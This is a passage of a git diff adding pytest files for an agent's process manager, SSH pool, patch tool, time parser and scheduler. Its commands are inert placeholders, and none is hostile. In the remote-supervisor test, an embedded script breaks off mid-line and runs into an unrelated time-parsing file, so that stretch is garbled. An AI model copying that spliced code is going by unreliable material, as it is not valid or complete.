assert not record.remote_lease.released + with pytest.raises(pm.ProcessCleanupError): + await registry.shutdown() + assert not record.session_confirmed_empty + + +async def test_remote_proven_structured_cleanup_settles(registry, monkeypatch): + record = info(-1, remote=True, remote_lease=Lease()) + registry._processes[-1] = record + reply = { + "ok": True, "empty": True, "containment": "owned_descendants", + "already_exited": True, "exit": {"exit_code": 0}, + } + monkeypatch.setattr(registry, "_remote_call", AsyncMock(return_value=(0, json.dumps(reply)))) + await registry._kill_remote(record) + assert record.session_confirmed_empty and record.status == "completed" + assert record.remote_lease is None + + +def run_controller(monkeypatch, capsys, operation, payload, *, exit_record=None, writes=()): + ready = dict(token="fixture", pid=101, pgid=101, sid=99, start_id="") + real_open = builtins.open + + def fixture_open(path, *args, **kwargs): + if path == "/fixture/ready.json": + return io.StringIO(json.dumps(ready)) + if path == "/fixture/exit.json": + if exit_record is None: + raise FileNotFoundError + return io.StringIO(json.dumps(exit_record)) + raise AssertionError(f"unexpected file access: {path}") + + monkeypatch.setattr(builtins, "open", fixture_open) + monkeypatch.setattr(sys, "argv", ["controller", "/fixture", "fixture", operation, payload, "0"]) + monkeypatch.setattr(pm.os, "getpgid", lambda pid: 101) + monkeypatch.setattr(pm.os, "getsid", lambda pid: 99) + monkeypatch.setattr(pm.os, "killpg", lambda *args: (_ for _ in ()).throw(ProcessLookupError())) + opened, closed, accepted = [], [], [] + monkeypatch.setattr(pm.os, "open", lambda *args: opened.append(args) or 9123) + monkeypatch.setattr(pm.os, "close", closed.append) + counts = iter(writes) + + def write(fd, data): + count = next(counts) + if isinstance(count, Exception): + raise count + accepted.append(data[:count]) + return count + + monkeypatch.setattr(pm.os, "write", write) + try: + exec(compile(pm._REMOTE_CONTROLLER, "", "exec"), {}) + except SystemExit: + pass + monkeypatch.setattr(builtins, "open", real_open) + return json.loads(capsys.readouterr().out), closed, b"".join(accepted) + + +def test_remote_fifo_short_write_retries_exact_remainder(monkeypatch, capsys): + data = b"x" * 10000 + reply, closed, accepted = run_controller( + monkeypatch, capsys, "write", base64.b64encode(data).decode(), writes=[4096, 5904], + ) + assert reply["ok"] and reply["written"] == 10000 + assert accepted == data and closed == [9123] + + +def test_remote_fifo_partial_failure_is_honest_and_closes(monkeypatch, capsys): + data = b"x" * 10000 + reply, closed, accepted = run_controller( + monkeypatch, capsys, "write", base64.b64encode(data).decode(), + writes=[4096, BrokenPipeError()], + ) + assert not reply["ok"] and reply["written"] == 4096 + assert len(accepted) == 4096 and closed == [9123] + + +def test_remote_fifo_backpressure_has_bounded_partial_outcome(monkeypatch, capsys): + ticks = iter([0, 0, 0, 3]) + monkeypatch.setattr(pm.time, "monotonic", lambda: next(ticks)) + monkeypatch.setattr(pm.time, "sleep", lambda seconds: None) + reply, closed, accepted = run_controller( + monkeypatch, capsys, "write", base64.b64encode(b"abcdef").decode(), + writes=[2, BlockingIOError()], + ) + assert reply["written"] == 2 and not reply["ok"] + assert accepted == b"ab" and closed == [9123] + + +def test_remote_missing_containment_is_not_cleanup_proof(monkeypatch, capsys): + reply, _, _ = run_controller( + monkeypatch, capsys, "kill", "", exit_record={"empty": True, "exit_code": 0}, + ) + assert reply["ok"] is False and reply["unknown"] is True + assert reply["group_empty"] is True + assert "cleanup could not be verified" in reply["error"] + + +async def test_remote_write_reports_utf8_bytes_and_refuses_unverified_prefix(registry, monkeypatch): + record = info(-1, remote=True) + call = AsyncMock(return_value=(0, json.dumps({"ok": True, "written": 2}))) + monkeypatch.setattr(registry, "_remote_call", call) + assert await registry._write_remote(record, "é") == "Wrote 2 bytes to PID -1." + assert "Failed to write" in await registry._write_remote(record, "éé") + + +async def test_shutdown_counts_only_proven_remote_termination(registry, monkeypatch): + record = info(-1, remote=True, remote_lease=Lease()) + registry._processes[record.pid] = record + reply = {"ok": True, "empty": True, "containment": "owned_descendants", "killed": True} + monkeypatch.setattr(registry, "_remote_call", AsyncMock(return_value=(0, json.dumps(reply)))) + assert await registry.shutdown() == 1 + assert record.session_confirmed_empty + + +async def test_unsettled_cleanup_exit_zero_without_proof_is_unknown(registry): + registry._remote_exec = AsyncMock(return_value=(0, "cleanup attempted")) + assert not await registry._teardown_unsettled_remote(Lease(), "/fixture", "fixture") + + +def test_retained_manifest_preserves_affirmative_cleanup_proof(tmp_path): + registry = pm.ProcessRegistry(retention_dir=tmp_path) + record = info(-1, remote=True, status="completed", session_confirmed_empty=True) + record.finished_at = pm.time.time() + registry._persist_output(record) + restored = pm.ProcessRegistry(retention_dir=tmp_path) + assert restored._processes[-1].session_confirmed_empty is True diff --git a/tests/test_campaign_process_patch.py b/tests/test_campaign_process_patch.py new file mode 100644 index 000000000..56c7d9400 --- /dev/null +++ b/tests/test_campaign_process_patch.py @@ -0,0 +1,58 @@ +import os +import stat +from types import SimpleNamespace + +import pytest + +from src.tools import apply_patch as patch + + +def envelope(body): + return patch.parse_patch(f"*** Begin Patch\n{body}\n*** End Patch\n") + + +@pytest.mark.parametrize("content,body,match", [ + (b"\xff", "@@\n-old\n+new", "UTF-8"), + (b"actual\n", "@@\n-old\n+new", "context mismatch"), + (b"old\n", "*** Move to: occupied\n@@\n-old\n+new", "already exists"), +]) +def test_semantic_failure_closes_snapshot(tmp_path, monkeypatch, content, body, match): + (tmp_path / "source").write_bytes(content) + (tmp_path / "occupied").write_bytes(b"untouched") + real_open = patch._open_regular_at + captured = [] + + def record(*args): + snapshot = real_open(*args) + captured.append(snapshot["fd"]) + return snapshot + + monkeypatch.setattr(patch, "_open_regular_at", record) + with pytest.raises(patch.PatchError, match=match): + patch.apply_plan(str(tmp_path), envelope("*** Update File: source\n" + body)) + assert len(captured) == 1 + with pytest.raises(OSError): + os.fstat(captured[0]) + assert (tmp_path / "source").read_bytes() == content + + +def test_nonregular_open_is_nonblocking_and_closed(monkeypatch): + opened = [] + closed = [] + monkeypatch.setattr( + patch.os, "open", lambda name, flags, **kwargs: opened.append(flags) or 9123, + ) + monkeypatch.setattr(patch.os, "fstat", lambda fd: SimpleNamespace(st_mode=stat.S_IFIFO)) + monkeypatch.setattr(patch.os, "close", closed.append) + with pytest.raises(patch.PatchError, match="regular"): + patch._open_regular_at(7, "fifo", "fifo") + assert opened[0] & os.O_NONBLOCK + assert closed == [9123] + + +@pytest.mark.parametrize("separator", ["\u2028", "\u2029", "\v", "\f", "\x85"]) +def test_patch_preserves_unicode_content_and_mixed_endings(separator): + source = '{"text":"one' + separator + 'two"}\r\nkeep\nold\r\nlast\r' + plan = envelope("*** Update File: source\n@@\n keep\n-old\n+new\n last") + actual = patch._apply_hunks("source", source, plan["operations"][0]["hunks"]) + assert actual == source.replace("old\r\n", "new\r\n") diff --git a/tests/test_campaign_process_ssh.py b/tests/test_campaign_process_ssh.py new file mode 100644 index 000000000..fee5bf65b --- /dev/null +++ b/tests/test_campaign_process_ssh.py @@ -0,0 +1,57 @@ +import asyncio +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src.tools.ssh_pool import SSHConnectionPool + + +async def test_cancelled_close_retains_live_master_ownership(tmp_path, monkeypatch): + pool = SSHConnectionPool(socket_dir=str(tmp_path)) + host = "example.invalid" + socket = pool.get_socket_path(host, "root") + key = pool._key(host, "root") + master = SimpleNamespace(returncode=None, wait=AsyncMock()) + pool._masters[key] = master + started = asyncio.Event() + + async def communicate(): + started.set() + await asyncio.Event().wait() + + probe = SimpleNamespace(communicate=communicate) + monkeypatch.setattr("src.tools.ssh_pool.os.path.exists", lambda path: path == socket) + monkeypatch.setattr( + "src.tools.ssh_pool.asyncio.create_subprocess_exec", AsyncMock(return_value=probe), + ) + stopped = AsyncMock() + monkeypatch.setattr(pool, "_stop_process", stopped) + task = asyncio.create_task(pool.close_host(host, "root")) + await started.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + assert pool._masters[key] is master + assert master.returncode is None + stopped.assert_awaited_once_with(probe) + + +async def test_cancelled_master_wait_retains_ownership(tmp_path, monkeypatch): + pool = SSHConnectionPool(socket_dir=str(tmp_path)) + key = pool._key("example.invalid", "root") + started = asyncio.Event() + + async def wait(): + started.set() + await asyncio.Event().wait() + + master = SimpleNamespace(returncode=None, wait=wait) + pool._masters[key] = master + monkeypatch.setattr("src.tools.ssh_pool.os.path.exists", lambda path: False) + task = asyncio.create_task(pool.close_host("example.invalid", "root")) + await started.wait() + task.cancel() + with pytest.raises(asyncio.CancelledError): + await task + assert pool._masters[key] is master diff --git a/tests/test_campaign_prompt_accounting.py b/tests/test_campaign_prompt_accounting.py new file mode 100644 index 000000000..6e14efe4d --- /dev/null +++ b/tests/test_campaign_prompt_accounting.py @@ -0,0 +1,42 @@ +import json +from datetime import UTC, datetime + +from src.learning.reflector import ConversationReflector +from src.observability.aggregates import context_aggregates +from src.observability.context_trace import ContextTraceCollector + + +def test_real_injected_learned_block_conserves_prompt_tokens(tmp_path): + path = tmp_path / "learned.json" + path.write_text(json.dumps({"version": 2, "entries": [ + {"key": "lesson", "category": "operational", "content": "durable lesson " * 20}, + ]})) + reflector = ConversationReflector(str(path)) + trace = ContextTraceCollector() + trace.section("base", tokens=100) + learned = reflector.get_prompt_section(trace=trace) + trace.history(budget=1000, used=80, candidates=1, kept_recent=1, kept_relevant=0, + dropped_relevance=0, dropped_budget=0) + finalized = trace.finalize() + assert finalized["learned"]["tokens"] == len(learned) // 4 + expected_system = 100 + len(learned) // 4 + assert finalized["summary"]["system_tokens"] == expected_system + # Same block represented as a section must not count twice. + other = ContextTraceCollector() + other.section("base", tokens=100) + other.section("learned", tokens=len(learned) // 4) + reflector.get_prompt_section(trace=other) + assert other.finalize()["summary"]["system_tokens"] == expected_system + now = datetime.now(UTC) + legacy = json.loads(json.dumps(finalized)) + legacy["summary"].pop("system_includes_learned") + legacy["summary"]["system_tokens"] = 100 + trajectory = tmp_path / f"{now.date().isoformat()}.jsonl" + trajectory.write_text("".join( + json.dumps({"timestamp": now.isoformat(), "context_trace": data}) + "\n" + for data in (finalized, legacy) + )) + result = context_aggregates(str(tmp_path)) + assert result["prompt_tokens_avg"] == expected_system + 80 + assert result["prompt_tokens_p95"] == expected_system + 80 + assert result["by_section"]["learned"]["avg_tokens"] == len(learned) // 4 diff --git a/tests/test_campaign_provider_reload_coverage.py b/tests/test_campaign_provider_reload_coverage.py new file mode 100644 index 000000000..bf8d87e5e --- /dev/null +++ b/tests/test_campaign_provider_reload_coverage.py @@ -0,0 +1,28 @@ +"""Rejected provider candidates roll back runtime and persisted desired settings.""" +from unittest.mock import AsyncMock + +from aiohttp.test_utils import TestClient, TestServer + +from src.web.api.llm_admin import register_provider_config +from tests.test_web_api_llm_admin import _app, _gw + + +async def test_enabled_compatible_reload_reason_rolls_back_configuration(monkeypatch): + app, bot = _app(register_provider_config) + gateway = _gw(bot) + bot.config.openai_compatible.enabled = True + before = bot.config.openai_compatible.model + prior_client = gateway.compatible_client + persist = AsyncMock(return_value=(None, False)) + monkeypatch.setattr("src.web.api.llm_admin.persist_config_paths_locked", persist) + gateway.reload_openai_compatible_inner = AsyncMock(return_value={ + "configured": True, "reason": "candidate qualification failed", + }) + async with TestClient(TestServer(app)) as client: + response = await client.put("/api/openai-compatible/config", json={"model": "new-model"}) + assert response.status == 500 + assert "error" in await response.json() + assert bot.config.openai_compatible.model == before + assert gateway.compatible_client is prior_client + assert persist.await_count == 2 + assert persist.await_args.args[0] == [(('openai_compatible', 'model'), before)] diff --git a/tests/test_campaign_reasoning_contracts.py b/tests/test_campaign_reasoning_contracts.py index 595f4bc44..cc969a486 100644 --- a/tests/test_campaign_reasoning_contracts.py +++ b/tests/test_campaign_reasoning_contracts.py @@ -195,7 +195,7 @@ async def test_compatible_primary_effort_reaches_native_wire_body(): assert response.provenance_reasoning_effort == "enabled" -def test_profile_uses_pins_and_a_real_limiting_route(): +def test_profile_uses_pins_and_independently_limiting_routes(): rows = [ { "tag": "small", @@ -217,8 +217,14 @@ def test_profile_uses_pins_and_a_real_limiting_route(): }, ] free = conservative_profile(rows, OpenRouterRoutingConfig(), model="vendor/model") - assert free["context_route_tag"] == free["output_route_tag"] == "small" - assert free["max_output_tokens"] == 128000 + assert free["context_route_tag"] == "small" + assert free["output_route_tag"] == "other" + assert free["total_window_tokens"] == 262144 + assert free["max_output_tokens"] == 65536 + # Every eligible fallback must fit both advertised limits. A pair taken + # only from the smallest-context route overstates the other route's output. + assert all(free["total_window_tokens"] <= row["context_length"] for row in rows) + assert all(free["max_output_tokens"] <= row["max_completion_tokens"] for row in rows) routing = OpenRouterRoutingConfig( model_pins={"vendor/model": "parasail"}, allow_fallbacks=False ) diff --git a/tests/test_campaign_remote_supervisor_proof.py b/tests/test_campaign_remote_supervisor_proof.py new file mode 100644 index 000000000..4ef1eed2e --- /dev/null +++ b/tests/test_campaign_remote_supervisor_proof.py @@ -0,0 +1,161 @@ +import asyncio +import base64 +import builtins +import io +import json +import os +import subprocess +import sys +import threading +import time +from pathlib import Path +from types import SimpleNamespace + +import pytest + +from src.tools import process_manager as pm +from tests.test_process_output_retention import _remote_job + + +def test_embedded_supervisor_records_only_empty_process_group(monkeypatch): + files = {} + + class File(io.BytesIO): + def __init__(self, path, text): + super().__init__(files.get(path, b"")) + self.path, self.text = path, text + + def write(self, value): + return super().write(value.encode() if isinstance(value, str) else value) + + def close(self): + files[self.path] = self.getvalue() + super().close() + + def read(self, *args): + value = super().read(*args) + return value.decode() if self.text else value + + def open_file(path, mode="r", **kwargs): + if path.startswith("/proc/"): + raise FileNotFoundError + return File(path, "b" not in mode) + + monkeypatch.setattr(builtins, "open", open_file) + monkeypatch.setattr(sys, "argv", [ + "supervisor", "/fixture", "fixture", base64.b64encode(b"fixture").decode(), "1", + ]) + monkeypatch.setattr(pm.os, "umask", lambda mode: None) + monkeypatch.setattr(pm.os, "setsid", lambda: None) + monkeypatch.setattr(pm.os, "open", lambda *args: 9123) + monkeypatch.setattr(pm.os, "close", lambda fd: None) + monkeypatch.setattr(pm.os, "getpgid", lambda pid: 101) + monkeypatch.setattr(pm.os, "getsid", lambda pid: 99) + monkeypatch.setattr(pm.os, "replace", lambda source, dest: files.update({dest: files[source]})) + monkeypatch.setattr(pm.os, "killpg", lambda *args: (_ for _ in ()).throw(ProcessLookupError())) + monkeypatch.setattr(pm.signal, "signal", lambda *args: None) + monkeypatch.setattr(subprocess, "check_output", lambda *args, **kwargs: b"fixture-start") + leader = SimpleNamespace(pid=101, returncode=0, poll=lambda: 0, wait=lambda **kwargs: 0) + monkeypatch.setattr(subprocess, "Popen", lambda *args, **kwargs: leader) + monkeypatch.setattr(threading, "Thread", lambda **kwargs: SimpleNamespace( + start=lambda: None, join=lambda **kwargs: None, + )) + exec(compile(pm._REMOTE_SUPERVISOR, "", "exec"), {}) + record = json.loads(files["/fixture/exit.json"]) + assert record["group_empty"] is True + # F5 settles the verified scope, not all descendants. The real escapee + # test below prevents this scoped empty=True from becoming a lie. + assert record["empty"] is True + assert record["containment"] == "process_group_only" + assert record["exit_code"] == 0 + + +@pytest.mark.skipif(sys.platform != "linux", reason="requires real /proc identity evidence") +@pytest.mark.asyncio +async def test_real_remote_settlement_caveat_matches_live_escaped_descendant(tmp_path, monkeypatch): + """A real setsid escapee survives settlement, without being claimed contained. + + Disposable producers run with _remote_job's signal/removal guards. The + escapee exits naturally on its own ACK; only that adopted child is reaped. + """ + monkeypatch.setattr("src.async_utils.fire_and_forget", lambda coro, **kw: coro.close()) + assert pm.child_subreaper_active(), "fixture must own/reap its orphaned escapee" + ready_path = tmp_path / "escaped-ready.json" + ack_path = tmp_path / "escaped-ack" + child = ( + "import json,os,pathlib,time\n" + f"ready=pathlib.Path({str(ready_path)!r})\n" + f"ack=pathlib.Path({str(ack_path)!r})\n" + "start_id=pathlib.Path('/proc/self/stat').read_text().rsplit(')',1)[1].split()[19]\n" + "temporary=ready.with_suffix('.tmp')\n" + "temporary.write_text(json.dumps({'pid':os.getpid(),'start_id':int(start_id)}))\n" + "temporary.replace(ready)\n" + "deadline=time.monotonic()+30\n" + "while not ack.exists() and time.monotonic() now.astimezone(UTC) + + +def test_next_clock_after_both_folds_moves_to_next_day(): + now = datetime(2026, 11, 1, 1, 45, tzinfo=ZoneInfo("America/New_York"), fold=1) + assert parse_time("1:30am", now=now) == "2026-11-02T01:30:00-05:00" + + +@pytest.mark.parametrize("hour", [0, 13, 23]) +@pytest.mark.parametrize("suffix", ["am", "pm"]) +def test_invalid_twelve_hour_clocks_rejected(hour, suffix): + with pytest.raises(ValueError, match="between 1 and 12"): + parse_time(f"today at {hour}{suffix}", now=datetime(2026, 9, 29, tzinfo=UTC)) + + +@pytest.mark.parametrize("expression,expected", [ + ("today at 12am", "00:00"), ("today at 12pm", "12:00"), + ("today at 1am", "01:00"), ("today at 1pm", "13:00"), +]) +def test_twelve_hour_clock_boundaries(expression, expected): + result = parse_time(expression, now=datetime(2026, 9, 29, tzinfo=UTC)) + assert result == f"2026-09-29T{expected}:00+00:00" + + +@pytest.mark.parametrize("clock", ["17:00", "09:30"]) +@pytest.mark.parametrize("day", ["tomorrow", "friday", "next friday"]) +@pytest.mark.parametrize("prefix", ["", "at "]) +def test_twenty_four_hour_clock_before_day(clock, day, prefix): + now = datetime(2026, 9, 29, 12, tzinfo=UTC) + assert parse_time(f"{prefix}{clock} {day}", now=now) == parse_time(f"{day} at {clock}", now=now) + + +NEW_YORK_NOW = datetime(2026, 9, 29, 10, tzinfo=ZoneInfo("America/New_York")) + + +@pytest.mark.parametrize("case", ["lower", "upper", "title", "mixed"]) +@pytest.mark.parametrize("expression,expected", [ + ("2:30 pm", "2026-09-29T14:30:00-04:00"), + ("2 pm", "2026-09-29T14:00:00-04:00"), + ("12:15 pm", "2026-09-29T12:15:00-04:00"), + ("at 5 pm", "2026-09-29T17:00:00-04:00"), + ("tomorrow 2:30 pm", "2026-09-30T14:30:00-04:00"), + ("12 am", "2026-09-30T00:00:00-04:00"), + ("12 pm", "2026-09-29T12:00:00-04:00"), + ("2:30pm", "2026-09-29T14:30:00-04:00"), + ("2 am", "2026-09-30T02:00:00-04:00"), +]) +def test_meridiem_suffix_is_not_a_timezone(expression, expected, case): + # Change only the meridiem token, including both mixed-case spellings. + token = expression[-2:] + token = token[0] + token[1].upper() if case == "mixed" else getattr(token, case)() + expression = expression[:-2] + token + assert parse_time(expression, now=NEW_YORK_NOW) == expected + + +@pytest.mark.parametrize("suffix", ["am", "AM", "Am", "aM", "pm", "PM", "Pm", "pM"]) +@pytest.mark.parametrize("clock", ["13", "13:00"]) +def test_spaced_invalid_meridiem_clock_reaches_hour_validation(clock, suffix): + with pytest.raises(ValueError) as exc: + parse_time(f"{clock} {suffix}", now=NEW_YORK_NOW) + assert str(exc.value) == "AM/PM clock hours must be between 1 and 12" + + +@pytest.mark.parametrize("meridiem", ["pm", "PM"]) +@pytest.mark.parametrize("clock,zone", [ + ("5", "ET"), ("5", "EST"), ("5:00", "America/New_York"), +]) +def test_meridiem_with_explicit_timezone(clock, zone, meridiem): + assert parse_time(f"{clock} {meridiem} {zone}", now=NEW_YORK_NOW) == ( + "2026-09-29T17:00:00-04:00" + ) + + +@pytest.mark.parametrize("meridiem", ["pm", "PM"]) +@pytest.mark.parametrize("zone", ["EDT", "PST", "edt", "pst"]) +def test_meridiem_does_not_allow_ambiguous_timezone(meridiem, zone): + with pytest.raises(ValueError) as exc: + parse_time(f"5 {meridiem} {zone}", now=NEW_YORK_NOW) + assert str(exc.value) == ( + f"Timezone abbreviation '{zone}' is ambiguous or unsupported; " + "use an IANA zone such as America/New_York" + ) + + +@pytest.mark.parametrize("zone", ["Atlantis", "am", "AM", "pm", "PM"]) +def test_unknown_explicit_zone_phrase_still_fails_closed(zone): + with pytest.raises(ValueError, match="(?:Unrecognized timezone|Timezone abbreviation)"): + parse_time(f"5 PM in {zone}", now=NEW_YORK_NOW) + + +@pytest.mark.parametrize("expression", ["14:30 tomorrow", "tomorrow 14:30"]) +def test_twenty_four_hour_day_orders_keep_exact_instant(expression): + assert parse_time(expression, now=NEW_YORK_NOW) == "2026-09-30T14:30:00-04:00" + + +TRAILING_NOW = datetime(2026, 9, 29, 23, 30, tzinfo=ZoneInfo("America/New_York")) + + +@pytest.mark.parametrize("expression", [ + "2:30 in the afternoon", "tomorrow at 2:30 in the afternoon", + "2:30 this afternoon", "2:30 tomorrow afternoon", "8:00 tonight", + "friday at 7:00 in the evening", "2:30 xyz", "2:30 please", + "friday at 2:30 xyz", "tomorrow at 14:30 please", "14:30 tomorrow please", + "at 14:30 please", "today at 14:30 please", "next friday at 14:30 please", + "in 2 days at 14:30 please", "14:30 friday please", "14:30 on friday please", + "14:30 next friday please", "14:30 tomorrow friday", "14:30 on tomorrow", + "tomorrow at 14:30 friday", "14:30, please", "14:30tomorrow", +]) +def test_bare_clock_rejects_trailing_prose_on_every_path(expression): + with pytest.raises(ValueError, match="Cannot parse time expression"): + parse_time(expression, now=TRAILING_NOW) + + +@pytest.mark.parametrize("marker", ["a.m.", "a.m", "am.", "p.m.", "p.m", "pm."]) +@pytest.mark.parametrize("case", ["lower", "upper", "title"]) +@pytest.mark.parametrize("space", ["", " "]) +@pytest.mark.parametrize("template", ["2:30{}", "tomorrow 2:30{}", "at 2:30{} tomorrow"]) +def test_dotted_meridiem_is_a_clock_marker(marker, case, space, template): + expression = template.format(space + getattr(marker, case)()) + hour = "02" if marker.startswith("a") else "14" + assert parse_time(expression, now=TRAILING_NOW) == f"2026-09-30T{hour}:30:00-04:00" + + +def test_dotted_meridiem_without_minutes(): + assert parse_time("5 P.M.", now=TRAILING_NOW) == "2026-09-30T17:00:00-04:00" + + +@pytest.mark.parametrize("marker", ["p.m.", "P.M.", "p.m", "a.m.", "A.M"]) +@pytest.mark.parametrize("prefix", ["", "tomorrow ", "at ", "friday at "]) +def test_dotted_meridiem_enforces_twelve_hour_range(marker, prefix): + with pytest.raises(ValueError, match="AM/PM clock hours must be between 1 and 12"): + parse_time(f"{prefix}14:30 {marker}", now=TRAILING_NOW) + + +@pytest.mark.parametrize("expression,expected", [ + ("14:30", "2026-09-30T14:30:00-04:00"), + ("at 14:30", "2026-09-30T14:30:00-04:00"), + ("14:30 tomorrow", "2026-09-30T14:30:00-04:00"), + ("14:30 friday", "2026-10-02T14:30:00-04:00"), + ("14:30 on friday", "2026-10-02T14:30:00-04:00"), + ("14:30 next friday", "2026-10-02T14:30:00-04:00"), + ("tomorrow 14:30", "2026-09-30T14:30:00-04:00"), + ("tomorrow at 14:30", "2026-09-30T14:30:00-04:00"), + ("next friday at 14:30", "2026-10-02T14:30:00-04:00"), + ("today at 14:30", "2026-09-29T14:30:00-04:00"), + ("in 2 days at 14:30", "2026-10-01T14:30:00-04:00"), + ("9am please", "2026-09-30T09:00:00-04:00"), + ("9:15am, thanks", "2026-09-30T09:15:00-04:00"), + ("3pm in the afternoon", "2026-09-30T15:00:00-04:00"), +]) +def test_trailing_fix_preserves_exact_clock_instants(expression, expected): + assert parse_time(expression, now=TRAILING_NOW) == expected + + +@pytest.mark.parametrize("zone", ["ET", "EST", "America/New_York", "in America/New_York", "in ET"]) +@pytest.mark.parametrize("clock", ["14:30", "2:30 PM", "2:30 P.M."]) +def test_trailing_fix_preserves_explicit_zones(clock, zone): + assert parse_time(f"{clock} {zone}", now=TRAILING_NOW) == "2026-09-30T14:30:00-04:00" + + +@pytest.mark.parametrize("zone", ["EDT", "PST"]) +@pytest.mark.parametrize("clock", ["14:30", "2:30 PM", "2:30 P.M."]) +def test_trailing_fix_preserves_ambiguous_zone_rejection(clock, zone): + with pytest.raises(ValueError, match="ambiguous or unsupported"): + parse_time(f"{clock} {zone}", now=TRAILING_NOW) + + +@pytest.mark.parametrize("clock", ["1:30", "1:30 a.m.", "1:30 A.M."]) +@pytest.mark.parametrize("fold,minute,offset", [ + (0, 15, "-04:00"), (0, 45, "-05:00"), (1, 15, "-05:00"), +]) +def test_trailing_fix_preserves_fold_instants(clock, fold, minute, offset): + now = datetime(2026, 11, 1, 1, minute, tzinfo=ZoneInfo("America/New_York"), fold=fold) + assert parse_time(clock, now=now) == f"2026-11-01T01:30:00{offset}" + + +@pytest.mark.parametrize("suffix", ["am", "AM", "Am", "aM", "pm", "PM", "Pm", "pM"]) +@pytest.mark.parametrize("clock,hour,minute", [ + ("2", 2, "00"), ("2:30", 2, "30"), ("12", 12, "00"), ("12:15", 12, "15"), +]) +@pytest.mark.parametrize("space", ["", " "]) +def test_trailing_fix_preserves_prior_meridiem_forms(suffix, clock, hour, minute, space): + hour = hour % 12 + (12 if suffix.lower() == "pm" else 0) + assert parse_time(f"{clock}{space}{suffix}", now=TRAILING_NOW) == ( + f"2026-09-30T{hour:02d}:{minute}:00-04:00" + ) diff --git a/tests/test_campaign_scheduler_workflows.py b/tests/test_campaign_scheduler_workflows.py new file mode 100644 index 000000000..5f8ae40f1 --- /dev/null +++ b/tests/test_campaign_scheduler_workflows.py @@ -0,0 +1,238 @@ +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from src.discord.background_task import BackgroundTask, _execute_tool_captured, run_background_task +from src.llm.strict_tool_adapter import compile_catalog +from src.scheduler.scheduler import Scheduler +from src.tools.nested_payload import validate_nested_payload +from src.tools.registry import get_tool_definitions +from src.tools.result_validator import ToolResult +from tests.fakes import FakeChannel +from tests.test_scheduled_events import _handlers + + +class Executor: + def __init__(self): + self.calls = [] + self._tool_catalog = SimpleNamespace(merged_definitions=lambda: skill_catalog()) + + def check_permission(self, tool_name, user_id): + return None + + def _resolve_default_host(self, user_id): + return "nonlocal" + + async def execute(self, tool_name, tool_input, user_id=None): + self.calls.append((tool_name, tool_input)) + return ToolResult(output="", tool_name=tool_name) + + +class Skills: + def __init__(self): + self.calls = [] + + def has_skill(self, name): + return name == "needs_count" + + def get_tool_definitions(self): + return skill_catalog() + + async def execute(self, name, payload, requester_id=None): + self.calls.append((name, payload)) + return "done" + + +def skill_catalog(): + return [{"name": "needs_count", "input_schema": { + "type": "object", "properties": {"count": {"type": "integer"}}, + "required": ["count"], "additionalProperties": False, + }}] + + +@pytest.mark.parametrize("condition,expected", [("READY", False), ("!READY", True)]) +async def test_delegated_empty_output_obeys_conditions(condition, expected): + executor = Executor() + task = BackgroundTask(task_id="test", description="conditions", requester="tester", + requester_id="123", channel=FakeChannel(id=555), steps=[ + {"tool_name": "run_command", "tool_input": {"command": "inert"}}, + {"tool_name": "run_command", "tool_input": {"command": "guarded"}, + "condition": condition}, + ]) + await run_background_task(task, executor, Skills()) + assert len(executor.calls) == (2 if expected else 1) + assert task.results[1].status == ("ok" if expected else "skipped") + + +@pytest.mark.parametrize("condition,expected", [("READY", False), ("!READY", True)]) +async def test_scheduled_empty_output_obeys_conditions(condition, expected): + loop = MagicMock(dispatch_loop_tool_inner=AsyncMock(return_value=ToolResult(output=""))) + handler = _handlers(tool_loop=loop) + assert await handler._run_scheduled_workflow(FakeChannel(id=555), {"steps": [ + {"tool_name": "run_command", "tool_input": {"command": "inert"}}, + {"tool_name": "run_command", "tool_input": {"command": "guarded"}, "condition": condition}, + ]}) + assert loop.dispatch_loop_tool_inner.await_count == (2 if expected else 1) + + +@pytest.mark.parametrize("output", [ + "Error: native rejected", "Permission denied: selected skill", "Unknown tool: removed", +]) +async def test_native_error_becomes_failed_scheduled_result(output): + loop = MagicMock(dispatch_loop_tool_inner=AsyncMock(return_value=output)) + handler = _handlers(tool_loop=loop) + result = await handler._execute_scheduled_tool("invoke_skill", {}, FakeChannel(id=555), "123") + assert not result.ok + assert result.error == "tool_reported_failure" + assert result.output == output + + +async def test_structured_scheduled_result_is_preserved(): + original = ToolResult(output="unknown settlement", ok=False, uncertain_outcome=True, + audit_metadata={"phase": "test"}) + loop = MagicMock(dispatch_loop_tool_inner=AsyncMock(return_value=original)) + result = await _handlers(tool_loop=loop)._execute_scheduled_tool( + "invoke_skill", {}, FakeChannel(id=555), "123", + ) + assert result is original + + +async def test_native_error_aborts_workflow_and_reaches_scheduler_retry_counter(tmp_path): + channel = FakeChannel(id=555) + loop = MagicMock(dispatch_loop_tool_inner=AsyncMock(return_value="Error: native failure")) + handler = _handlers(tool_loop=loop, get_channel=lambda _: channel) + scheduler = Scheduler(str(tmp_path / "schedules.json")) + schedule = await scheduler.add( + "failed workflow", "workflow", "555", run_at="2999-01-01T00:00:00Z", + max_retries=2, steps=[ + {"tool_name": "invoke_skill", "tool_input": {"name": "test"}}, + {"tool_name": "run_command", "tool_input": {"command": "must not execute"}}, + ]) + scheduler._callback = handler._on_scheduled_task + assert (await scheduler.run_now(schedule["id"]))["status"] == "failure" + current = scheduler.list_all()[0] + assert current["consecutive_failures"] == 1 + assert current["retry_count"] == 1 + assert current["retry_at"] + assert (await scheduler.history.query())[0]["status"] == "failure" + loop.dispatch_loop_tool_inner.assert_awaited_once() + + +@pytest.mark.parametrize("tool,payload", [("http_probe", {"url": "https://example.invalid"}), + ("apply_patch", {"root": "/tmp", "patch_text": "inert"}), + ("run_command", {"command": "inert"}), + ("run_script", {"script": "inert"})]) +async def test_background_preserves_executor_host_contract(tool, payload): + executor = Executor() + await _execute_tool_captured( + tool, payload, executor, Skills(), None, None, "tester", requester_id="123", + ) + assert executor.calls == [(tool, payload)] + assert "host" not in payload + + +@pytest.mark.parametrize("tool,payload,expected_host", [ + ("http_probe", {"url": "https://example.invalid"}, None), + ("apply_patch", {"root": "/tmp", "patch_text": "inert"}, None), + ("run_command", {"command": "inert"}, "nonlocal"), + ("run_script", {"script": "inert"}, "nonlocal"), +]) +async def test_background_actual_executor_prepares_contract_defaults(tool, payload, expected_host): + from src.tools.executor import ToolExecutor + + executor = ToolExecutor.__new__(ToolExecutor) + executor._resolve_default_host = lambda _: "nonlocal" + executor.check_permission = lambda *_: None + 